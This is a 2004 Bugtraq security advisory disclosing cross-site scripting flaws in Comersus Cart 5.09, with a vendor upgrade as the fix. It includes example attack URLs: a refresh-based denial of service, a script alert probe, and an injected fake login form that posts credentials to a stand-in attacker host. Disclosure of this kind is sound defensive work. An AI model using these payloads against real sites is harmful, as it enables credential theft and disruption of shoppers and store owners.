Comersus Cart Cross-Site Scripting Vulnerability

From: Thomas Ryan (tommy_at_providesecurity.com)
Date: 07/07/04

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    To: <bugtraq@securityfocus.com>
Date: Wed, 7 Jul 2004 11:10:13 -0400

    Comersus Cart Cross-Site Scripting Vulnerability

    Release Date:
    July 6, 2004

    Severity:
    High

    Vendor:
    Comersus Open Technologies

    Software:
    Tested on Comersus Cart 5.09
    Previous versions may also be affected.

    Remote:
    Remotely executed from any web browser

    Technical Details:
    The malicious user is able to compromise the parameters to invoke a
    Cross-Site Scripting attack. This can be used to take advantage of the trust
    between a client and server allowing the malicious user to execute malicious
    JavaScript on the client's machine or perform a denial of service shutting
    down IIS.

    Pages Affected:
    /comersus/store/comersus_customerAuthenticateForm.asp
    /comersus/backofficeLite/comersus_backoffice_message.asp
    /comersus/store/comersus_supportError.asp
    /comersus/store/comersus_message.asp

    Examples:

    Denial of Service:
    http://[VICTIM]/comersus/store/comersus_message.asp?message=<meta%20http-equ
    iv='refresh'content='0'>

    Phishing:
    http://[VICTIM]/comersus/store/comersus_message.asp?message=<form%20action="
    http://www.evilhacker.com/save2db.asp"%20method="post">Username:<input%20nam
    e="username"%20type="text"%20maxlength="30"><br>Password:<input%20name="pass
    word"%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submi
    t"%20value="Login"></form>

    XSS:
    http://[VICTIM]/comersus/backofficeLite/comersus_backoffice_message.asp?mess
    age=<script>alert("VULNERABLE_TO_XSS")</script>

    Vendor Status:
    Upgrade to 5.098
    http://www.comersus.com/

    Credit:
    Discovered By: Thomas Ryan
    Provide Security

    Original Advisory
    http://www.providesecurity.com/research/advisories/07062004-01.asp

    Copyright (c) 2004 Provide Security
    Permission is hereby granted for the redistribution of this alert
    electronically. It is not to be edited in any way without the expressed
    written consent of Provide Security. If you wish to reprint the whole or any
    part of this advisory in any other medium excluding electronic medium,
    please email secalert(a)providesecurity.com for permission.

    Disclaimer
    The information within this paper may change without notice. Use of this
    information constitutes acceptance for use in an AS IS condition. There are
    no warranties, implied or express, with regard to this information. In no
    event shall the author be liable for any direct or indirect damages
    whatsoever arising out of or in connection with the use or spread of this
    information. Any use of this information is at the user's own risk.

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